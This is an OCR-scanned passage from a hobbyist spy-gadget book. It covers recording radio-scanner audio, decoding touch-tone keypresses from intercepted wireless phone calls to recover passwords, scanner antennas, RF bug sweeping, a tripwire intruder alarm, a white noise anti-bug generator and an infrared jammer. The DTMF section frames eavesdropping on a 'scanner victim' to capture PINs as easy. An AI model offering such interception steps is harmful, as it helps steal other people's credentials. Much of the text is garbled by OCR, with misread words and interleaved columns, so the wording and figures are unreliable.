playback  should  sound  just  as  good  as  the  input 
source  if  you  could  hear  iL  Now  you  can  move 
ahead. 

Figure  12-4  shows  the  recording  dialog  window 
presented  by  Sound  Forge*  just  before  recording 
begins.  This  software  allows  the  unattended 
recording  of  scanner  audio  just  like  the  auto 
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Figure  1 Serring  up  for  tevft  activatd  oiao  rvcordiag  in  Sound  forge*. 
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recording  switch  presented  earlier  in  this  section  found  soioe  audio,  and  it  will  keep  recording  for 
by  monitoring  the  input  level,  and  triggering  the  1 0 seconds  after  the  Iasi  bit  of  information.  The 

record  function  for  a predeiermined  amount  of  recording  is  appended  to  the  end  of  the  Iasi  chunk 

dme  if  it  reaches  a certain  threshold.  of  audio,  creating  what  can  be  best  described  as 

The  ability  to  acrivaie  the  recording  fiinciion  Recording  like  this  can 

only  when  there  is  audio  is  extremely  important  compress  hours  of  listening  into  only  several 

for  unattended  long-term  operation,  because  minuies’  worth  of  “the  good  stuff,” 

without  it.  you  will  cither  fill  your  hard  disk  with  There  is  more  than  just  chitchat  on  that  scanner, 

blank  audio,  or  spend  most  of  your  time  searching  and  if  you  happen  to  pick  up  some  phone  activity, 

for  relevant  information.  As  shown  in  Figure  12-4,  you  will  probably  encounter  the  sounds  of  buttons 

Sound  Forge*  allows  me  to  set  a threshold  level  being  pressed  on  (he  user’s  keypad  in  the  form 

that  will  trigger  recording,  and  this  is  simply  any  of  DTMF  (touch  tones).  Because  you  have  a 
noise  level  above  ambient  noise  levels  when  the  perfectly  clean  digitally  recorded  audio  signal  and 

scanner  has  its  squelch  circuit  activated.  A noisy  the  power  of  a computer  ut  your  disposal,  there  is 

sound  card,  or  one  offering  only  u microphone  no  challcoge  at  all  in  extracting  the  original 

input,  will  have  a fair  amount  of  noise,  even  when  number%  from  those  musical  sounding  blips.  All 

the  scunner  is  not  talking,  so  you  will  have  to  you  really  need  to  do  is  crop  a section  of  the  audio 

moke  sure  your  ihre.diold  is  above  this  level  but  that  contains  (he  numbers  you  wish  to  decode, 

not  below  the  scanner’s  talking  level-  The  other  then  feed  that  into  a simple  DTMF  decoding 

important  adjusimem  shown  in  Figure  124  is  the  software— yes.  more  demo- ware  or  free  software  is 

release  value  in  seconds.  This  setting  determines  available  on  the  Internet, 
how  long  after  Ihe  audio  is  gone  that  the  recording  Let's  lake  a look  at  a typical  conversation 

will  continue,  which  is  a useful  selUng  when  ^ „„,„specting  scanner  victim 

listening  to  periodic  talking  or  half  duplea  ^ hU  ,„,y  ,j,is 

conversations.  With  these  settings.  Sound  Forge*  As  you  can  see  from  the  shortwave  file 

will  begin  recording  as  soon  as  the  scanner  has  ,,jp  ,2.5.  o,ere  are  a few 


FlQUre  Id-5  A feyv  spoken  wor^  fitUowed  by  a password  keyed  in  from  the  phem 
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Decode  it 


bursts  of  audio  representing  (he  words  "please 
enter  your  passwordr  followed  by  four  very  square 
looking  blocks  of  daui.  These  are  the  DTMF  (one 
representing  my  password  *‘1234.**  which  was 
keyed  in  from  my  cordless  phone.  DTMF 
infomiaiion  is  very  easy  to  idemify  visually,  as  U 
will  always  have  the  same  short  bums  of  squared- 
off  pulses  followed  by  a 
small  pause. 

You  could  feed  the  entire  recorded  session 
into  the  DTMF  decoding  software,  but  this  would 
not  only  take  a lot  of  processing,  time,  but  may 
include  other  key  presses  you  did  not  want,  so  it 
is  best  to  crop  the  important  audio  first  before 
processing  U.  In  Sound  Forge*,  I just  highlight  a 
section  of  audio  by  drawing  a box  around  it  with 
the  mouse,  and  then  export  it  as  a small  wave  file. 
The  DTMF  decoding  .software  will  prompt  for  an 
input  nie.  then  proceed  to  analyze  the  file  from 
start  to  end  in  the  hopes  of  detecting  some  DTMF 
information  for  decode.  Even  with  a very  dirty 
sounding  audio  file,  say  from  a cell  phone  user 
In  a noisy  car.  the  software  is  usually  able  to 


decode  the  digits  accurately.  On  the  off-chance 
that  (he  wave  file  is  too  noisy,  some  of  Uic 
amazing  noise  removal  filters  included  with 
Sound  Forge*  will  usually  do  the  trick. 

Figure  12-6  shows  the  decoded  file  from 
Figure  12*5;  aAer  running  il  through  a DTMF 
decoder  I downloaded  from  a shareware  site  in 
the  IntemeL  As  you  can  see,  it  shows  not  only 
my  pa.ssword  "1234.*'  but  the  exact  position 
in  the  wave  file  where  the  digits  occur  (they 
are  presented  in  reverse  order  here). 

Now  that  you  have  seen  how  easy  it  is  to  capture 
every  key  press  entered  from  an  unsecured 
wireless  phone  using  only  a basic  radio  scanner,  a 
S2  cable,  and  some  free  software,  you  might  wont 
to  think  twice  about  accessing  your  voice  mail 
box.  or  banking  information  on  any  wireless 
communication  device  you  are  not  absolutely 
certain  is  sufficiently  encrypted.  And  even  if  the 
Uansmission  is  considered  secure  by  the  makers  of 
the  equipmeoL  to  ok  that  only  begs  the  question, 
“How  much  dme  do  I have*’?  Tlie  Evil  Genius  will 
always  find  a way. 


*r  Decode  Icne  from  Wave  File 


' (For  stereo  format  only) 


Monitor  Caller-ID 


Monitor  TTY  signal 


End  of  decoding. 

OnOTMFO.  key*4'.  paslbon»223ll4 
OnOTWO,  xey**3’,  position»209626 
OnOWO,  K«y-*2'.  position- 196700 
OnOTMFO,  Koy-*r,  position- 1B32 12 
Start  the  Recording  in  format:  I6bits.  44100Hz,  stereo 


Figure  15-5  Dtcoding  tht  DTMF  audio  frvm  the  scanner  bark  into  tiufwrical  ir^ormaruM. 
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Project  76 — Better  Reception 


No  matter  how  deep  you  dig  into  your  pockets 
when  purchasing  a radio  scanner,  the  wimpy 
antenna  sticking  out  of  the  rear  of  the  base  unit,  or 
the  top  of  the  hand-held  unit  will  most  always  be 
the  weak  link.  If  you  can't  bring  in  that  weak 
signal,  then  you  are  going  to  have  the  “300 
channels,  and  nothing  on"  syrtdronte.  On  a hand- 
held scanner,  the  telescoping  antenna  is  not  such  a 
bad  thing,  because  you  will  need  the  uoii  to  be 
small  and  transportable,  and  can  always  move 
close  to  the  source  if  you  really  have  to;  but  on  a 
base  station,  a buili'tn  antenna  is  just  not  going  to 
cut  it.  Sure,  you  can  hear  a few  baby  monitors,  and 
cordless  phones  within  a block  or  two.  but  there  is 
a world  of  information  out  there,  and  you  will 
definitely  be  missing  most  of  ii  with  that  antenna 
hanging  off  the  back  of  your  scanner,  especially  if 
it  is  indnors. 

Moving  the  scanner  to  the  highest  point  in  your 
house,  or  placing  the  antenna  through  on  open 
window  might  help  a bit.  but  who  wanu  to  hang 
out  in  the  cold  attic  trying  to  hear  tidbits  of 
conversations?  Your  scanner  should  be 
conveniently  placed  in  your  spy  gadget  workshop 
next  to  your  computer  for  DTMF  decoding  and 
recording,  while  the  antenna  should  be  placed  on 
your  roof,  mounted  to  a mast  that  will  clear  all 
nearby  obstacles.  With  this  type  of  setup,  your 
scanner  will  perform  so  much  bener.  even  with  a 
cheap  outdoor  antenna,  because  it  is  height  that 
really  matters  here.  Radio  waves  work  under  the 
line  of  sight  principal,  and  if  there  are  huge  trees  in 
front  of  your  antenna,  or  taller  buildings  all  oiound 
you.  reception  will  be  very  bad.  allowing  only  the 
reflected  signals  to  enter  your  antenna,  so  you 
must  try  to  place  your  antenna  into  an 
unobstructed  area  above  these  obstacles.  The 
actual  antenna  type  (and  there  are  indeed  many) 
will  depend  on  a great  deal  of  things — such  as  the 
cost,  desired  frequency,  or  range  of  ^quencies. 


(he  type  of  mounting  and  coax  being  used,  the 
need  for  a dircciioual  or  Omni  directional 
rccq)iion,  but  mainly  personal  opinion.  When  you 
set  ou(  to  find  a suitable  outdoor  antenna,  you  will 
cither  have  lo  (rust  the  opinion  of  your  buddy,  the 
radio  buff,  or  4I0  some  digging  around  the  Imemet 
Oft  radio  scanner  antennas,  and  general  antenna 
theory  and  operation.  I will  not  get  too  deep  into 
antenna  theory  here,  as  it  would  fill  two  books  this 
size,  and  the  reality  is  that  even  a low-cost  antenna 
with  proper  mounting  and  feed  wire  is  going  lo 
moke  your  scanning  experience  much  more 
interesting. 

The  7' wave  ground  plane  or  whip  antenna  is  a 
simple  Omni  directional  antenna  that  offers  modest 
performance  and  easy  outdoor  mounting.  Thi.s  is  a 
single  band  vcnically  polanzed  antenna  that  offers 
about  3dB  of  gain  in  a relatively  narrow  (requency 
range.  The  ground  plane  isolates  your  antenna 
from  having  10  be  coupled  to  earth  ground  at  a 
specific  muldple  of  (be  wavelength,  by  simulating 
ground  with  the  radially  mounted  elemenus  around 
the  bottom.  A car* mounted  antenna  is  typically  a| 
wave  thai  uses  the  body  of  the  car  for  its  ground 
plane.  These  antennas  are  available  at  many  hobby 
stores  that  sell  radio  gear,  and  scanners,  and  can  be 
installed  by  the  user  in  a few  hours.  When  you  are 
shopping  for  scanner  antennas,  make  sure  to  let  the 
sales  person  know  either  the  scanning  range  of  your 
scanner,  or  the  major  frequencies  you  are  interested 
in  scanning,  if  you  know  them.  Some  antennas  are 
decent  performers  for  just  about  any  frequency  you 
might  dial  into  your  scanner,  and  others  are  very 
good  perfixmers.  but  only  at  certain  frequency 
ranges.  An  antenna  designed  specifically  for 
optimum  <^raiion  in  the  SOO-900  MHz  range  is 
not  going  to  do  very  well  as  a general  purpose 
scanner  antenna  for  frequencies  ranging  from 
30  MHz  to  800  MHz.  although  it  may  bring  in  the 
close  signals  at  varying  frequencies. 
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Project  7 6— Be  tter  Reception 


Project  77— Bug  Detection 


RgufB  15'7  An  ouHhor  scanner  anienna. 


When  you  do  make  the  move  to  an  outdoor 
antenna,  it  is  an  absolute  must  that  the  teed  wire 
be  as  high  a quality  as  you  can  afford,  or  the  only 


new  informatioQ  presented  at  your  scanner 
will  be  noise.  The  coax  cable  that  runs  from  your 
scanner  to  the  antenna  is  probably  the  largest 
factor  in  determining  how  well  the  antenna  will 
perform,  and  if  you  go  cheap  here,  you  will  be 
sorry.  With  good  quality  low-loss  coax  connecting 
your  scanner  to  the  outdoor  antenna,  you  will 
see  an  incredible  boost  in  reception  and  coverage 
over  the  built-in  anienna.  even  if  you  were 
using  nothing  more  than  a straightened  coat 
hanger  as  an  anienna.  Connecting  the  best 
outdoor  antenna  money  can  buy  using  bad  coax 
will  probably  yield  nothing  at  all  but  reception 
from  radio  sources  a few  feet  away.  Yes.  1 did 
actually  use  a bit  of  coat  hanger  wire  when  I was 
in  a pinch  once,  and  it  did  much  belter  than  the 
built-in  antenna  that  came  with  the  scanner.  1 
soldered  the  coat  hanger  directly  to  the  signal 
wire  at  the  end  of  some  quality  coax  and  threw  it 
over  the  branch  of  a nearby  tree.  Of  course,  the 
mast-mounted  anienna  I have  now  works  much 
better,  especially  when  hunting  for  those  distant 
signals  (Figure  12*7).  I wonder  what’s  on  the 
radio  tonight? 


B KtM 

Project  77 — Bug  Detection 


A good  anienna  can  make  a medium  quality 
scanner  perform  like  a high  quality  scanner,  but  a 
bad  antenna  can  turn  any  scanner  into  a bug 
detector  useful  in  scanning  a room  or  building  for 
those  pesky  little  creatures  that  can  luik  just  about 
anywhere.  Typically  an  RF  bug  will  operate  on  a 
fixed  frequency  u.sing  as  little  output  power  as 
necessary  in  order  to  elude  detection  and  nm  as 
long  as  possible  on  its  battery  power  source.  Tbe 
received  signal  is  usually  picked  up  with  a base 
station  receiver  connected  to  an  ulirahigh-gain 
directional  antenna  placed  as  near  to  (he  site  as 
possible,  similar  to  those  used  in  sus[riQious> 
looking  unmarked  black  vans  with  tinted  windows 


parked  in  ^nt  of  your  house.  Because  of  this  low 
power  output,  and  the  fact  that  you  will  be  in  close 
proximity  to  the  bug.  detection  can  be  easily  done 
with  an  RF  scanner  by  reducing  its  sensitivity  to 
long-range  signal  reception.  If  the  iransmining  bug 
is  some  state  of  the  an  frequency  hopping  digitally 
encrypted  wonder  of  technology,  then  this 
technique  will  of  course  fail,  but  in  reality  most 
bugs  are  simple  FM  transmitters;  built  by  Evil 
Geniuses  like  you  and  me,  so  their  transmit 
frequencies  will  typically  be  between  20  MHz  and 
400  MHz — a range  any  cheap  scanner  can  search. 

If  your  scanner  has  a telescopic  antenna,  then 
press  it  all  the  way  down,  or  unscrew  it 
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completely,  as  the  seamier  will  siiU  be  able  to 
detect  RF  radiation  if  it  is  veiy  close,  even  with  no 
antenna  at  all.  T6  see  how  sensitive  your  scanner 
is,  have  a friend  hide  one  of  your  home  tffcw  FM 
bugs  somewhere  in  the  room,  and  see  bow  far 
away  your  scanner  can  be  before  the  signal  is  lost 
If  you  do  not  yet  have  an  Hvt  bug.  Just  place  an 
elastic  band  around  a kid's  walkie-talkie  toy.  and 
scan  the  27  MHz  or  49  MHz  band  until  you  find 
the  frequency  ii  is  tiansmirting  on.  You  may  be 
surprised  to  find  your  scanner  receiving  a crisp 
clear  signal  a few  rooms  away  with  no  antenna  at 
all.  The  RF  is  so  close  that  the  signal  is  picked  up 
by  the  center  pin  on  the  antenna  connector.  Your 
scanner  should  not  be  able  to  pick  up  any  other 
signal  besides  the  hidden  bug.  and  possibly  some 
radio  and  television  broadcasts  ftom  nearby 
transmission  stations.  Once  you  experiment  with 
your  scanner  in  order  to  deicmiine  its  sensitivity, 
it  should  be  easy  to  pinpoint  the  hidden  bug  by 
turning  up  the  squelch  while  you  move  around  the 
room.  If  you  arc  getting  closer  to  the  RF  source, 
then  the  squelch  will  be  able  to  be  turned  up 
higher  without  dropping  the  frequency.  Amateur 


radio  operators  call  this  a “fox  hunt,"  as  it  involves 
tracking  a known  target.  For  real  bug  detection, 
you  will,  of  course,  not  know  the  exact  frequency, 
so  you  will  have  to  place  youi  scanner  in  the 
center  of  the  room,  place  the  squelch  just  above 
the  off  mark  and  start  scanning  the  entire  range 
of  your  scanner  In  as  little  increments  as  you  can. 
If  your  scanner  is  an  old  mode!  with  a slow  scan 
speed,  you  might  want  to  get  a good  book  and 
relax,  but  do  not  rum  on  the  TV,  as  this  will 
introduce  a mess  of  RF  noise  that  will  foil  your 
bug  sniffing  operation.  There  are  of  course  devices 
designed  specifically  for  fast  and  accurate  bug 
detection,  such  as  RF  spectrum  analyzers  and  RF 
sniffers,  but  these  devices  are  extremely  costly,  and 
without  a dine  need  to  constantly  scan  for  bugs, 
would  be  a waste  of  money.  If  you  really  feel  the 
need  lo  have  a full-scale  bug  sweep  done,  hire  a 
professional  that  has  the  know-how  and  the 
equipment  to  get  the  job  done,  but  do  not 
underestimate  what  can  be  done  with  a bit  of 
patience  and  that  deparrment  store  scanner.  What's 
bugging  you? 


Project  77— Bug  Detection 


Sect:ion  Thirteen 


Protection  and  Countermeasures 


Project  7B — Intruder  Sentinel 


The  main  goal  of  this  booL  is  in  help  you  gain  the 
skills  and  knowledge  to  create  your  very  own 
collection  of  high-tech  spy  gadgets  for  gathering 
information,  but  there  are  times  when  you.  the 
hunter,  may  became  the  hunted.  The  only  thing 
worse  than  failing  an  information  gathering 
mission  is  being  caught  while  engaging  in  one.  or 
actually  becoming  the  target.  The  devices 
presented  in  this  chapter  may  help  you  to  avoid 
detection  by  foiling  some  of  the  common  spy 
technologies  that  may  be  used  against  you  as  well 
as  warding  o^  intruders  from  getting  to  your  own 
personal  informarion.  Some  of  them,  on  the  other 
hand,  may  just  be  a lot  of  fun  to  use  tut  praciica] 
jokes  on  your  high-tech  buddies! 

Let's  begin  with  a device  so  simple,  that  at  first 
I thought  would  not  make  it  into  this  book — the 
basic  intruder  detector.  Although  it  is  nothing  more 
than  a switch  triggered  alarm  system,  it  his  $o 
many  useful  possibilities  for  deployment,  and  has 
saved  me  from  certain  demise  many  limes.  Having 
one  or  more  of  these  little  black  boxes  is  a must 
for  any  spy  who  may  be  entering  ‘'hostile 
territory.*'  The  main  function  of  the  box  is  to  alcn 
you  when  an  intruder  enters  your  protected  area. 
This  can  be  done  in  a number  of  ways  due  to  the 
layout  of  the  switch.  However,  be  foie  we  get  into 
practical  usage,  let's  build  one  ftrst.  As  you  can  see 
in  Figure  I3>1.  the  schematic  for  this  handy  device 
is  very  simple;  it  is  nothing  more  than  an  audio 
oscillator  connected  to  a normally  open  hair  (rigger 
switch.  The  fact  that  the  switch  is  normally  open  is 
important  because  it  lets  the  device  become  armed 


in  a way  that  any  amount  of  disturbance  to  the 
switch  will  set  it  back  to  its  normally  closed 
position,  triggering  the  audible  alarm. 

The  hcan  of  the  circuit  is  a simple  555-timer  set 
up  as  an  audio  oscillator  that  will  drive  a piezo 
element-  The  piezo  element  wa-s  chosen  because  of 
its  greai  ability  to  create  piercing  high  pitched 
audio  tones  that  con  penetrate  w'alls  or  loud 
environments.  A piezo  element  is  the  same  copper 
colored  disc  duu  you  find  in  the  cover  of  a watch 


Figure  13-1  Schermitic  diagram  of  Ihe  intruder 
senrinel. 
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Project  78— Intruder  Sentinel 


Figure  13*2  A contact  switcH  with  a long  lever  and  a 
normally  open  pin. 


to  make  the  alarm  beep,  and  they  are  commonly 
i^lvaged  tn>m  kids’  small  ekcmmic  toys  (hat  beep, 
old  modems  in  the  form  of  small  black  cylinder 
shaped  containers,  and  just  about  any  other 
electronic  device  (hat  must  blip  or  beep.  A piezo 
element  cannot  generate  sound  by  adding  power 
like  a buzzer,  which  is  why  we  need  the  555  set  up 
us  an  oscillator  to  dnve  it.  The  Utile  black  piezo 
elements  you  fmd  on  old  PC  modem  cords  are 
perfect  for  this  use  as  they  are  small,  and  very  loud 
at  higher  frequencies.  Remember  (he  wretched 
squeal  that  old  56  kD  modems  made  when  they 
connected? 

The  trigger  is  what  makes  this  unit  work  so  well, 
a normally  open  cmiact  switch  with  a .spring 
loaded  lever.  This  type  of  switch  is  extremely 
common  in  many  devices  and  performs  the  simple 
function  of  detecting  when  a door  has  been  open 
or  closed,  or  when  a mechanical  part  has  mode 
contact  with  some  other  port.  Every  fridge,  stove, 
dryer,  microwave  oven  and  another  type  of 
appliance  with  a door  will  have  one  or  more  of 
these  switches  inside.  The  one  we  want  will  have  a 
long  lever  and  three  connectors  labeled  C 
(common),  NC  (normally  closed),  and  most 
important  NO  (normally  open).  The  nwmaJly  open 
contact  is  the  one  we  will  use.  and  as  shown  in 
Rgure  13'2,  all  of  these  contact  switches  with  at 
least  three  pins  wiU  have  iL  Switches  with  only 
two  pins  may  only  have  common  and  normally 
open  connections.  The  switch  I am  using  in 
Figure  13>2  was  removed  ftom  an  old  microwave 
oven  found  at  the  city  landilll  dump. 


Rguro  13*3  The  battery  and  alarm  circuit  ts 
contained  in  a smoU  plastic  box. 


l\  does  not  matter  what  the  rating  on  the  switch 
is.  as  we  will  only  be  switching  a few  mil  I i amps 
from  a ^'Voli  battery.  The  unit  is  so  small  that  the 
baitery.  small  ciiruit  board,  and  piezo  buzzer  can 
be  placed  in  a 1 .5  by  2 inch  plastic  box.  The 
switch  will  be  rrtounied  on  (he  outside  of  (he  box. 

As  shown  in  Figure  13-3. 1 also  added  an  on/off 
switch  so  that  the  unit  can  be  turned  off  when  not 
in  use.  Without  this  switch,  the  box  would  be 
buzzing  whenever  i(  Is  not  armed,  which  is  the 
normal  position  of  the  contact  switch.  The  contact  I 
switch  wiU  have  a few  holes  in  its  case  so  it  can  be 
mounted  somewhere  outside  the  box  to  allow  the 
lever  to  engage  if  the  box  face  were  pressed  up 
against  some  object. 

This  switch  lever  allows  the  unit  to  become 
armed  while  it  is  leaning  up  against  a door  or  some 
other  object  (hat  you  want  to  protect.  If  the  box  is 
moved,  (he  switch  opens,  and  the  circuit  closes, 
setting  off  the  alann.  There  are  many  ways  to  arm 
the  Intruder  Sentinel  that  will  cause  it  to  go  off 
with  any  bit  of  movement  due  lo  the  long  spring 
loaded  switch  lever.  Remember  those  war  movies  | 

where  a soldier  is  sneaking  through  the  jungle,  and 
(rips  over  an  almost  invisible  wire?  As  you  will  see 
in  Figure  13-4.  you  can  duplicate  the  trip  wire  trap, 
except  the  result  will  only  be  a loud  lone  rather 
tban  a ball  of  fire. 
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FlQUi^  13‘M  A wire  rriggtr  made  from  some  thread 
and  a paperclip. 


The  thick  black  thread  used  in  Figure  1 3-4  is 
way  loo  heavy  for  a real  trip  wire,  but  it  was 
necessary  in  order  to  get  a good  photo  for  the 
book.  For  real  use.  a fine  Ashing  wire  or  thread  to 
match  the  color  of  the  floor,  carpeu  or  ground 
should  be  used.  This  crip  wire  is  connected  to  the 
far  side  of  the  wall  with  a thumbtack  then  attached 
to  the  switch  lever  with  a paper  clip  so  that  any 
di.sturbance  will  knock  the  paperclip  off  the  lever, 
setting  off  the  alarm.  These  little  gems  are  so  easy 
to  build;  you  could  secure  an  entire  area  with  a 
handful  of  them  strategically  placed  around  your 
perimeter.  You  can  also  place  the  box  in  a desk 
drawer  to  fall  over  when  the  drawer  is  opened, 
under  an  object  to  find  out  if  it  is  moved,  w just 
about  any  place  that  will  cause  the  disturbance  of 
the  switch  if  the  area  were  entered.  One  of  the 


FlQUre  13^  intruder  Sentinel  used  as  a door  alarm. 


mosi  common  uses  of  the  Intruder  Sendnel  Is  of 
course  as  a door  alarm,  as  shown  in  Figure  13-5. 
All  you  do  is  rum  on  the  pov^r  switch,  then  lean 
the  box  up  against  the  door  until  the  alarm  is  off. 
Any  disturbance  to  the  door  will  knock  the  box 
away  from  the  door  and  sound  the  alarm. 

The  Intruder  Sentinel  is  really  a simple 
foolproof  gadget,  but  extremely  valuable  in  any 
situation  where  you  need  to  secure  an  area.  Unless 
you  plan  on  building  the  Spy  Robot  presented 
later  in  this  book  (see  Section  15)  to  do  all  of  your 
bidding,  then  you  should  really  consider  building 
one  or  more  of  these  simple  devices.  Depending 
on  the  nature  of  your  mission,  you  may  be  glad 
you  did. 
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Project  79 — LUhlte  Noise  Generator 


There  are  times  when  you  may  be  discussing  the 
mission  critical  details  of  your  next  coven  spy 
operation  with  your  comrades  in  wbat  you  might 
think  is  a secure  location,  but  is  anything  really 
secure  anymore?  Your  rivals  might  also  have  built 
the  Laser  Microphone,  or  some  type  of  stealthy 
bug  in  order  to  extract  whatever  Information  they 
want  from  you,  so  you  should  take  precautions. 


As  you  should  know  by  now,  if  there  is  a need  lo 
extract  information,  it  only  takes  a motrvated 
information  hound  like  yourself  to  find  a way  to 
get  it.  While  you  may  not  be  able  to  plug  every 
little  hole  in  your  infonnation  dam.  you  can 
certainly  make  it  harder  for  someone  with 
skills  to  steal  your  secrets.  One  simple  method 
that  has  been  used  to  foil  many  eavesdropping 
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Project  79— White  Noise  Generator 


techniques  is  the  introduction  of  noise  imo  the 
environment 

Audio  bugs  must  be  built  with  inaedible 
amounts  of  gain  in  order  to  eavesdnsp  on  that  quiet 
conversation  acro&s  the  room,  so  much  that  even  a 
modest  sound  can  swamp  the  input  into  an 
inaudible  rumble.  While  random  loud  bumps  and 
bangs  are  not  normally  a problem  for  a higb-gain 
preamplifier,  the  constant  bombardment  of  such 
a noise  will  surely  make  almost  any  sensitive 
audio  bug  inoperable.  Of  course  bashing  a couple 
of  (in  pie  plates  together  may  actually  foil  the 
eavesdropper,  but  it  will  also  foil  your 
conversation,  so  what  you  need  is  a type  of 
controllable  noise  that  will  not  drive  you  off  the 
deep  end. 

Let  me  introduce  you  to 
Luhite  noise 

White  noise  is  (he  type  of  sound  an  FM  radio 
tuned  to  no  station  will  produce,  a constam  hiss  of 
sound  that  has  absolutely  no  recognizable  panem 
or  frequency.  This  noise  is  not  nearly  as  annoying 
os  most  other  noise  sources.  aiKl  can  actually  be 
used  os  a calming  aid  in  some  situations.  This 
white  noise  source  is  not  very  good  for  sensitive 
eavesdropping  equipment  (hough,  and  will  easily 
swamp  the  inputs  in  most  higtbgain  preamps  to  an 
unusable  level,  yet  not  seem  loo  overbearing  while 
trying  to  have  secret  conversations  with  your 
comrades.  Although  you  could  just  turn  on  an  FM 
radio  to  an  unused  space  on  the  dial,  this  is  not  an 
elegant  .*iolution  for  a high*lech  spy.  and  (here  may 
not  always  be  a radio  or  even  power  at  your 
location.  As  shown  in  Figure  13-6,  (be  schematic 
for  a simple  noise  source  and  amplifier  is  really 
quite  simple,  and  can  be  made  with  common  parts 
found  in  your  junk  box. 

The  odd  circuit  shown  in  Figure  13-6  uses  two 
common  NPN  transistors  to  generate  a while  noise 


signal  (hat  is  then  amplified  by  the  multimedia 
amplifier  !C.  Tbe  first  transistor  is  actually  being 
used  as  a zener  diode  to  generate  a faint  noise 
signal,  which  is  then  amplified  by  die  second 
transistor  before  heading  to  the  audio  amplifier  1C. 
This  odd  dicuii  actually  exploits  the  very  thing 
(hat  most  electronic  designers  are  constantly  trying 
to  combat — noise.  The  actual  amplification  is 
accomplished  with  a common  1C  found  in  many 
small  multimedia  amplitiers  and  sound  cards,  and 
can  be  replaced  by  just  about  any  simple  amplifier 
such  as  the  LM386  or  even  an  actual  stereo 
amplifier  with  a line  input.  Since  it  is  the  two 
transistors  that  create  the  noise  source,  there  are 
many  optics  for  a final  amplification  stage.  1 
chose  (he  multimedia  IC  (TDA  1517).  because  it 
bad  a nice  solid  7*wui  output  and  only  required 
a power  supply  and  a single  capacitor  You  can’t 
build  a much  simpler  audio  amplifier  than  that. 

Tbe  final  product  was  so  small  that  it  could  be 
packed  imo  just  about  any  size  box  that  the 
speaker  would  lit  inside,  which  is  exactly 
what  I used,  a speaker  box.  The  speaker  box 
is  a common  computer  speaker  salvaged  from  the 
side  of  a dead  monitor,  and  although  it  was  only 
rated  for  5 watts,  gave  a nice  solid  white  noise 
with  a fair  amount  of  bass  response.  Figure  13-7 
shows  the  tiny  white  noise  generator  and  amplifier 
circuit  built  on  a bit  of  perf  board.  This  unit  will 
run  for  many  hours  using  only  a single  9>volt 
battery. 

The  speaker  you  choose  as  the  audio  output  is 
not  very  critical,  but  you  will  want  to  use  one  of  at 
[east  3 4 inches  in  diameter  in  order  to  gel  a 

decent  bass  response  from  (he  circuit.  If  you  attach 
a very  small  speaker  to  the  amplifier,  it  will  indeed 
produce  white  noise,  but  it  will  be  a harsh  piercing 
sound  similar  to  an  air  hose  rather  than  smooth 
lolendile  noise  source  like  an  ocean  wave.  Another 
reason  to  choose  a larger  speaker  is  that  the  noise 
level  will  not  have  to  be  jacked  to  the  top  in  order 
to  gain  enough  sound  pressure  to  effectively 
swamp  an  eavesdre^ping  device;  the  larger  the 
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speaker,  the  more  sound  pressure  it  wit)  produce. 

If  you  have  looked  at  the  laser  microphone 
experiment  in  Section  14.  then  you  will  undentand 
that  the  white  noise  generator  can  efTectively 
render  that  spy  device  useless  as  well  by  placing  it 
at  (he  ba.se  of  the  window  (bat  may  be  used  to 
point  the  laser  for  reflection.  Because  (he  noise 
generator  will  vibrute  the  window  with  random 


noise,  the  receiver  laser  beam  will  have  no  hint  of 
your  conversations  carried  with  it  on  the  return  (rip 
to  the  enemy.  The  cabinet  1 chose  was  very  easy  (o 
position  at  the  base  of  an  insecure  window  as 
shown  in  Figure  13-8. 

When  used  to  foil  a laser  spy  device,  (he  white 
noise  level  does  not  have  to  be  very  high,  as  it  will 
be  so  close  to  the  window  that  the  sound  waves 
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Figure  13*6  Schematic  for  a white  eoue  generator  with  amiHifier 


jwe. 


Figure  13-7  White  noUe  generator  buiii  right  into 
an  old  speaker  cabinet. 


Figure  I3-6  The  white  noise  generator  can  disable 
a laser  spy  device. 
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Project  80— Infrared 


from  your  voice  will  not  be  decipherable  wbea 
randomized  by  the  noise  source.  As  a genera)  room 
bug  killer,  you  should  really  expehmeui  with  how 
loud  your  unit  needs  to  be  by  attempting  to  recwd 


your  own  voice  using  an  audio  recorder  of  some 
sort  placed  in  a hidden  location — ‘this  will  help  you 
to  get  an  idea  how*  much  white  noise  is  enough 
white  noise. 


Project  80 — Infrared  Device  Jammer 


Here  is  a device  that  is  both  useful  as  a 
coumermeasure.  and  as  a practical  joke  to  drive 
your  buddies  crazy.  This  little  beast  can  effectively 
^ jam  any  device  that  requires  an  invisible  beam  of 
^ infrared  light  to  communicaie’^television  and 
g VCR  remote  controls,  camera  auto-focusing 
Q circuitry,  und  even  a laser  listening  device. 

(d  Although  the  white  noise  generator  can  also  defeat 
^ the  laser  bugging  device.  Uus  device  jammer 
functions  in  iota!  silence,  and  works  on  the  eaiire 

^ room  rather  than  a single  window. 

0 

This  unit  works  by  flooding  the  area  with  a high 
^ level  of  infrared  light  modubied  at  40  kHz.  the 
same  modulation  frequency  used  by  most  infrared 
Q remote  controls.  Because  this  '*empty“  carrier  has 
no  information  encoded  into  it.  the  receiving  unit 
Just  sits  there  acting  stupid  even  when  another 
infrared  device  is  attempting  to  communicate  with 
it.  You  don't  have  to  understand  the  intricacies  of 
the  remote  control  protocol  to  understand  why  this 
device  works,  just  think  of  It  like  this — you  are 
trying  to  listen  (o  your  friend  silting  across  the 
room  as  he  gives  you  the  latest  mission  report,  and 
someone  is  screaming  total  nonsense  through  a 
loud  horn  pressed  right  up  against  your  car.  Yes. 
this  is  how  the  poor  little  television  set  feels  when 
this  evil  little  device  is  switched  on!  The  practical 
application  of  such  a device  is  to  jam  any 
eavesdropping  equipment  using  infrared  light  such 
as  a modulated  infrared  audio  bug.  or  a laser 
listening  device  using  an  infrared  laser  beam.  As  a 
fun  toy,  it  can  make  an  unsuspecting  channel  surfer 
very  annoyed,  especially  if  you  only  make  their 


remote  control  fail  inierminemly.  By  the  third  set 
of  fresh  batteries,  they  may  stan  to  suspect  you  arc 
up  to  no  good,  though. 

As  you  can  see  by  the  schematic  on  Figure  1 3-9. 
this  simple  device  uses  two  or  more  common 
infrared  LEDs,  a 555  rimer  set  up  aK  a 40  kHz 
oscillator,  and  a transistor  to  switch  the  LEDs  on 
and  off.  The  variable  resistor  is  necessary  to  get 
the  oscillator  running  at  the  exact  frequency  that 
the  target  receiver  is  expecting  from  the  remote 
control. 

The  transistor  can  be  any  common  NPN  type, 
and  the  LEDs  are  not  all  that  critical,  but  940  nm  is 
the  standard  wavelength  used  for  most  infrared 
remote  controls,  and  should  yield  the  best  range. 
The  simple  circuit  can  be  built  by  hand  wiring  the 
componenis  on  a small  bit  of  perf  board,  which  is 
